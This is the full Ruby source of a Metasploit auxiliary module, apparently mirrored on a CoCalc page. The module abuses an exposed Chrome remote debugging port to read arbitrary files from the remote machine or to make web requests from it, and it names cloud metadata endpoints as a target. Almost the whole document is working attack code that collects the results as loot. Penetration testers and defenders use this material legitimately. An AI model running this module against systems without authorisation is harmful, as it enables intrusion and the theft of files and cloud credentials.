CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/chrome_debugger.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'eventmachine'
7
require 'faye/websocket'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',
15
'Description' => %q{
16
This module uses the Chrome Debugger's API to read
17
files off the remote file system, or to make web requests
18
from a remote machine. Useful for cloud metadata endpoints!
19
},
20
'Author' => [
21
'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module
22
'Nicholas Starke (The King Pig Demon)' # msf module
23
],
24
'DisclosureDate' => '2019-09-24',
25
'License' => MSF_LICENSE
26
))
27
28
register_options(
29
[
30
Opt::RPORT(9222),
31
OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),
32
OptString.new('URL', [false, 'Url to fetch from remote machine.']),
33
OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])
34
]
35
)
36
37
deregister_options('Proxies')
38
deregister_options('VHOST')
39
deregister_options('SSL')
40
end
41
42
def run
43
if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)
44
print_error('Must set FilePath or Url')
45
return
46
end
47
48
res = send_request_cgi({
49
'method' => 'GET',
50
'uri' => '/json'
51
})
52
53
if res.nil?
54
print_error('Bad Response')
55
return
56
end
57
58
data = JSON.parse(res.body).pop
59
EM.run do
60
file_path = datastore['FILEPATH']
61
url = datastore['URL']
62
63
if file_path
64
fetch_uri = "file://#{file_path}"
65
else
66
fetch_uri = url
67
end
68
69
print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")
70
71
unless data.key?('webSocketDebuggerUrl')
72
fail_with(Failure::Unknown, 'Invalid JSON')
73
end
74
75
driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])
76
77
driver.on :open do
78
print_status('Opened connection')
79
id = rand(1024 * 1024 * 1024)
80
81
@succeeded = false
82
83
EM::Timer.new(1) do
84
print_status("Attempting to load url #{fetch_uri}")
85
driver.send({
86
'id' => id,
87
'method' => 'Page.navigate',
88
'params' => {
89
url: fetch_uri
90
}
91
}.to_json)
92
end
93
94
EM::Timer.new(3) do
95
print_status('Sending request for data')
96
driver.send({
97
'id' => id + 1,
98
'method' => 'Runtime.evaluate',
99
'params' => {
100
'expression' => 'document.documentElement.outerHTML'
101
}
102
}.to_json)
103
end
104
end
105
106
driver.on :message do |event|
107
print_status('Received Data')
108
109
data = JSON.parse(event.data)
110
111
if data['result']['result']
112
loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')
113
print_good("Stored #{fetch_uri} at #{loot_path}")
114
@succeeded = true
115
end
116
end
117
118
EM::Timer.new(datastore['TIMEOUT']) do
119
EventMachine.stop
120
fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded
121
end
122
end
123
end
124
end
125
126